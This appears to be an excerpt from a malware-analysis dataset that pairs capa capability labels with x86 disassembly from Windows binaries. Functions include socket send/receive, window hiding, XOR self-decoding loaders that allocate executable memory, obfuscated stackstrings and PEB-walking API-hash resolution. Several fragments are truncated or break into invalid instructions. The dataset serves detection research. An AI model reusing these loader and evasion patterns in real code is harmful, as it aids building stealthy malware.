joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40eb58
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403b0c
mov eax, dword [ebp - 8]
call fcn.00403b0c
xor eax, eax
push ebp
push 0x40ed6d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41bb14
mov edx, 0x40ed88
call fcn.004037f8
mov eax, dword [ebp - 4]
call fcn.0040391c
test eax, eax
jle 0x40ebfd
lea eax, [ebp - 4]
mov edx, 0x40ee18
call fcn.00403924
push 0
mov eax, dword [ebp - 4]
call fcn.0040391c
push eax
lea eax, [ebp - 4]
call fcn.00403b74
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
test bl, bl
jne 0x40ebfd
mov edx, esi
mov eax, edi
call fcn.00405424
jmp 0x40ed42
lea eax, [ebp - 0x108]
xor ecx, ecx
mov edx, 0xff
call fcn.00402bd8
push 0
push 0xff
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
mov edi, eax
inc edi
je 0x40ecec
mov eax, esi
lea edx, [ebp - 0x108]
mov ecx, pe_nt_image_headers32
call fcn.00403904
mov eax, dword [ebp - 8]
call fcn.0040391c
cmp eax, 3
jne 0x40ed42
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, byte [ebp - 0x108]
jne 0x40ec82
mov eax, dword [ebp - 8]
mov al, byte [eax + 1]
cmp al, byte [ebp - 0x107]
jne 0x40ec82
mov eax, dword [ebp - 8]
mov al, byte [eax + 2]
cmp al, byte [ebp - 0x106]
je 0x40ed42
push 0x40ee24
push dword [ebp - 4]
push 0x40ee38
push dword [ebp - 8]
push 0x40ee4c
push 0x40ee18
push dword [esi]
push 0x40ee18
push dword [0x41bb7c]
lea eax, [ebp - 0x10c]
mov edx, 9
call fcn.004039dc
mov eax, dword [ebp - 0x10c]
call fcn.00418648
mov eax, 0x41bb14
mov edx, 0x40ee58
call fcn.004037f8
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffc
call fcn.00406304
mov eax, esi
mov edx, 0x40eef0
call fcn.004037f8
jmp 0x40ed42
mov eax, 0x41bb14
mov edx, 0x40eefc
call fcn.004037f8
mov eax, esi
mov edx, 0x40eef0
call fcn.004037f8
push 0x40ef9c
push dword [ebp - 4]
push 0x40ee18
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.00406314
push dword [ebp - 0x114]
lea eax, [ebp - 0x110]
mov edx, 4
call fcn.004039dc
mov eax, dword [ebp - 0x110]
call fcn.00418648
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ed74
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.004037c8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004037c8
ret
Function at 0x40f914
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0
push 0x40f954
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40f960
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40f980
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x410ae8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x410b9c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xfa
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00403904
mov eax, 0x41bb14
mov edx, 0x410bb4
call fcn.004037f8
mov edx, dword [ebp - 4]
mov eax, 0x410be4
call fcn.00403c04
test eax, eax
jne 0x410b75
mov edx, dword [ebp - 4]
mov eax, 0x410bf4
call fcn.00403c04
test eax, eax
jne 0x410b75
mov edx, dword [ebp - 4]
mov eax, 0x410c08
call fcn.00403c04
test eax, eax
jne 0x410b75
xor ebx, ebx
jmp 0x410b77
mov bl, 1
mov eax, 0x41bb14
mov edx, 0x410c20
call fcn.004037f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410ba3
lea eax, [ebp - 4]
call fcn.004037a4
ret

Function at 0x410cb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x410cb8
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x410fe3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41bb14
mov edx, 0x410ffc
call fcn.004037f8
mov byte [ebp - 1], 0
push 1
add dword [edx], ebp
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403e59
pop dword [ebp - 0x4c]
mov eax, 0x10af2c10
sub eax, 0x106eedb7
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xef7ccdd1
add dword [ebp - 0x5c], 0x5ed5777a
mov dword [ebp - 0x58], 0x25fbdeac
sub dword [ebp - 0x58], 0xf3c89267
mov dword [ebp - 0x54], 0xd1caa612
add dword [ebp - 0x54], 0x7a819e1c
mov dword [ebp - 0x50], 0x4085d54d
add dword [ebp - 0x50], 0xbf7a2ab3
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x6a1d8042
add eax, 0x9623004a
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xfb654c63
add dword [ebp - 0x5c], 0x790d1cf3
mov dword [ebp - 0x58], 0xa0a370c6
add dword [ebp - 0x58], 0xa0c8f0af
mov dword [ebp - 0x54], 0xc1fdcafb
add dword [ebp - 0x54], 0xa171a171
mov dword [ebp - 0x50], 0x27e99685
sub dword [ebp - 0x50], 0x27e99685
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x5fb7bd2
add eax, 0xfa450502
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x361b1
push 0
call eax
mov ecx, 0x37274cc6
add ecx, 0xc8d8f8a9
xor esi, esi
add esi, eax
mov edx, 0x519dc6ba
add edx, 0xaea34946
add edx, dword [ebp - 0x4c]
mov ebx, 0x63f017da
xor dword [ebp - 0x30], 0xbd36f80f
mov edi, dword [edx]
xor dword [ebp - 4], edx
xor edi, ebx
xor dword [ebp - 0x14], edx
mov dword [esi], edi
add esi, 0xacb54c5
sub esi, 0xacb54c1
add edx, 4
loop 0x403f77
add eax, 0x1088f
mov ebx, eax
add eax, 0x5ce85315
add eax, 0xa317acf0
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x406243
pop dword [ebp - 0x1c]
mov eax, 0xcd05bddb
sub eax, 0xccc55b98
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfd9f9647
sub dword [ebp - 0x2c], 0xaf4d50fc
mov dword [ebp - 0x28], 0xe7d859fc
add dword [ebp - 0x28], 0x4a5af249
mov dword [ebp - 0x24], 0x83f92c0c
add dword [ebp - 0x24], 0xc8531822
mov dword [ebp - 0x20], 0x19426b02
sub dword [ebp - 0x20], 0x19426b02
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x66b2934e
sub eax, 0x6672124a
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xba5dabdb
add dword [ebp - 0x2c], 0xba14bd7b
mov dword [ebp - 0x28], 0x36003813
sub dword [ebp - 0x28], 0xf493d69e
mov dword [ebp - 0x24], 0x858d5e5f
add dword [ebp - 0x24], 0xdde20e0d
mov dword [ebp - 0x20], 0x4a23e4f7
sub dword [ebp - 0x20], 0x4a23e4f7
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xbb630ec9
sub eax, 0xbb228dc9
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x34b3b
push 0
call eax
mov ecx, 0x73366e64
add ecx, 0x8cc9d053
mov esi, eax
mov edi, 0xe641c5a4
sub edi, 0xe5fae1a4
add edi, dword [ebp - 0x1c]
mov edx, 0x89834781
mov ebx, dword [edi]
add dword [ebp - 0xc], 0xdf6a7b33
sub ebx, edx
mov dword [esi], ebx
xor dword [ebp - 0x18], edi
add esi, 0x9b4d6e05
add esi, 0x64b291ff
add edi, 0x24611a33
add edi, 0xdb9ee5d1
loop 0x40635f
add eax, 0xedaf
mov ebx, eax
add eax, 0xff6f0416
add eax, 0x90fbef
mov ecx, 0xd6cd678f
sub ecx, 0xd68d678f
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x10001960
Capabilities:
Delete registry value

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 4], 0
je 0x1000197e
mov eax, dword [esi]
mov edx, dword [eax + 0xc]
call edx
mov eax, dword [esi + 0x98]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
cmp dword [0x10012148], 8
mov eax, dword [0x10012134]
jae 0x10001991
mov eax, 0x10012134
push eax
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [esi + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
ret

Function at 0x1000269a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011050]
jne 0x100026a4
repz ret
jmp fcn.10003555

Function at 0x10007735
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x10007770
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x10007757
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x10007768
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x10007772
inc edi
add eax, 0x28
cmp edi, esi
jb 0x1000774d
xor eax, eax
pop edi
pop esi
ret

Function at 0x10007aa5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x10007aaf
call fcn.100076ba
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
xor eax, 0x24a345c6
Function at 0x10007dd2
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x10007dcc
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x10007dea
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x10007e48
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x10007e2f
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x10007e38
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x10007e42
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10007e24
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
push es
jbe 0x10007dae
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x10007e95
dec eax
je 0x10007e8c
sub eax, 3
je 0x10007e83
mov dword [ebp - 4], 0x40
jmp 0x10007eb2
mov dword [ebp - 4], 4
jmp 0x10007e98
mov dword [ebp - 4], 0x20
jmp 0x10007e98
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x10007ee4
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x10007e64
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.100076f5
xchg edi, eax
invalid
push 0x8000
push ebx
push esi
call dword [ebp - 8]
Function at 0x10007f22
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.10007705
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100076ba
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.10007705
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100076ba
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.10007705
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100076ba
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.100076f5
fisub dword [esi]
movsb byte es:[edi], byte [esi]
push ebp
and byte [ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
Function at 0x10008670
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [eax]
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.10007705
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100076ba
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.100076f5
cmp ebp, dword [edi + ebp*8 + 0x28]
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.100076f5
invalid
Function at 0xece1b8
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00ece308
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xece1de
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xece1ca
add dl, dl
jne 0xece1e9
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xece23c
xor eax, eax
add dl, dl
jne 0xece1f6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xece2dd
add dl, dl
jne 0xece205
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xece210
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xece21b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xece226
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xece232
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xece1d5
mov eax, 1
add dl, dl
jne 0xece24a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xece255
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xece241
sub eax, ebx
mov ebx, 1
jne 0xece288
mov ecx, 1
add dl, dl
jne 0xece26e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xece279
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xece265
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xece1d5
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xece29f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xece2aa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xece296
cmp eax, 0x7d00
jae 0xece2cd
cmp eax, 0x500
jb 0xece2c8
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xece1d5
cmp eax, 0x7f
ja 0xece2d0
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xece1d5
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xece2fe
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xece1d5
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40e8c6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
clc
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x40e8b3
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
in al, dx
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040e5c5
div bh
jo 0x40e95f
lea eax, [ebp - 0x40]
push eax
call fcn.0040e5d5
push eax
push esi
push dword [ebp + 8]
call fcn.0040e58a
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.0040e5c5
sbb al, 0xc9
push edi
mov ebx, 0x88e8458d
pop ebp
call 0xe99e7186
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040e5d5
push eax
push esi
push dword [ebp + 8]
call fcn.0040e58a
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040e5d5
push eax
push esi
push dword [ebp + 8]
call fcn.0040e58a
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
hlt
Function at 0x40bedd
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00409b40
mov eax, dword [0x40f174]
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
cmp ebx, dword [0x5f5a64]
mov dword [ebp - 4], eax
jae 0x40c020
mov eax, ebx
sar eax, 5
mov eax, dword [eax*4 + 0x5f5a80]
mov ecx, ebx
and ecx, 0x1f
test byte [eax + ecx*8 + 4], 1
je 0x40c020
push 1
push esi
push ebx
call fcn.00409ebd
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 0x1008], eax
je 0x40c02a
push 2
push esi
push ebx
call fcn.00409ebd
add esp, 0xc
cmp eax, 0xffffffff
je 0x40c02a
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x40bfca
push 0x1000
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.0040a980
push 0x8000
push ebx
call fcn.0040c601
add esp, 0x14
mov dword [ebp + 8], eax
mov eax, 0x1000
cmp edi, eax
jge 0x40bf89
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push ebx
call fcn.00406c4f
add esp, 0xc
cmp eax, 0xffffffff
je 0x40bfa7
sub edi, eax
test edi, edi
jg 0x40bf7e
jmp 0x40bfbd
cmp dword [0x5f45f0], 5
jne 0x40bfba
mov dword [0x5f45ec], 0xd
or esi, 0xffffffff
push dword [ebp + 8]
push ebx
call fcn.0040c601
pop ecx
pop ecx
jmp 0x40c00a
jge 0x40c00a
push 0
push dword [ebp + 0xc]
push ebx
call fcn.00409ebd
push ebx
call fcn.0040a67e
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0xffffffff
jne 0x40c00a
mov dword [0x5f45ec], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x5f45f0], eax
push 0
push dword [ebp - 0x1008]
push ebx
call fcn.00409ebd
add esp, 0xc
mov eax, esi
pop edi
jmp 0x40c02d
mov dword [0x5f45ec], 9
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.0040a192
leave
ret

Function at 0x5f7000
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x5f7db7
call fcn.005f700f
jmp fcn.0040552c
Function at 0x5f7693
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x5f76c1
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x5f76b8
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x5f76b0
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x5f76e2
mov esp, ebp
pop ebp
ret

Function at 0x5f76e6
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x5f7752
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
